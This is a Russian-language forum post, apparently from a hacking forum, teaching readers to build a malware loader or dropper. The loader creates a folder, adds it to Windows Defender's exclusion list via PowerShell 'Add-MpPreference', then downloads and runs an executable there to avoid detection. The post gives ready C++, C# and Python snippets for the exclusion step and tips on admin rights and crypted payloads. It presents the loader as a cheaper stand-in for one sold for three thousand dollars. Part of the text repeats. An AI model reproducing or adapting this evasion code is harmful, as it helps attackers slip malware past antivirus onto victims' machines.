D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Предысторией идеи написать этот топик послужила тема с продажей dropper-а, который выключает Windows Defender перед тем, как загружает и запускает какой-либо исполняемый файл. Все бы ничего, есть продукт и есть, но цена в три тысячи долларов...?
В этой статье я просто вставлю вырезки (сниппеты) кода, которые помогут вам написать свой такой лоадер без каких либо проблем
Как это будет работать?
Вы запускаете свой лоадер/дроппер, он не отключает Windows Defender, ибо появится соответствующее уведомление, а добавляет путь в исключение, по которому вы далее записываете свой исполняемый файл и запускаете его оттуда
Какая поочередность выполняемых лоадером действий?
Технические нюансы
C++: Скопировать в буфер обмена
C#: Скопировать в буфер обмена
Python: Скопировать в буфер обмена
В этой статье я просто вставлю вырезки (сниппеты) кода, которые помогут вам написать свой такой лоадер без каких либо проблем
Как это будет работать?
Вы запускаете свой лоадер/дроппер, он не отключает Windows Defender, ибо появится соответствующее уведомление, а добавляет путь в исключение, по которому вы далее записываете свой исполняемый файл и запускаете его оттуда
Какая поочередность выполняемых лоадером действий?
- Первая функция: создание папки по какому нибудь незамысловатому пути (например, %appdata%/XSSfolder)
- Вторая функция: выполнение функции AddExclusion, указав путь созданный только что (сниппет функции AddExclusion я прикреплю ниже)
- Скачка/дроппинг вашего исполняемого файла по пути, который вы создали и добавили в исключение
Технические нюансы
- Требуются права администратора, ибо в примерах powershell вызывается от имени администратора, без которых нельзя добавить путь в исключение
- Runtime детекты будут распространяться на RunPE лоадеры/дропперы. Если вы криптуете ваш .exe файл методом RunPE, то запуская его по пути, добавленному в исключение, детект будет. Запускать .exe нужно строго с этого пути
C++: Скопировать в буфер обмена
Код:
#include <iostream>
#include <Windows.h>
void addExclusion(const std::wstring& path) {
std::wstring powerShellScript = L"Add-MpPreference -ExclusionPath '" + path + L"'";
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
CreateProcess( NULL, (LPWSTR)L"powershell.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );
HANDLE hStdIn = GetStdHandle(STD_INPUT_HANDLE);
DWORD bytesWritten;
WriteFile(hStdIn, powerShellScript.c_str(), powerShellScript.size() * sizeof(wchar_t), &bytesWritten, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
Код:
using System;
using System.Diagnostics;
public static class WinDefExclusion
{
public static void AddExclusion(string path)
{
string powerShellScript = @$"Add-MpPreference -ExclusionPath '{path}'";
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo()
{
FileName = "powershell.exe",
RedirectStandardInput = true,
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true,
Verb = "runas"
};
process.StartInfo = startInfo;
process.Start();
process.StandardInput.WriteLine(powerShellScript);
process.StandardInput.Flush();
process.StandardInput.Close();
process.WaitForExit();
process.Close();
}
}
Код:
import subprocess
def add_exclusion(path):
power_shell_script = f"Add-MpPreference -ExclusionPath '{path}'"
process = subprocess.Popen(["powershell.exe"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = process.communicate(input=power_shell_script.encode())
process.wait()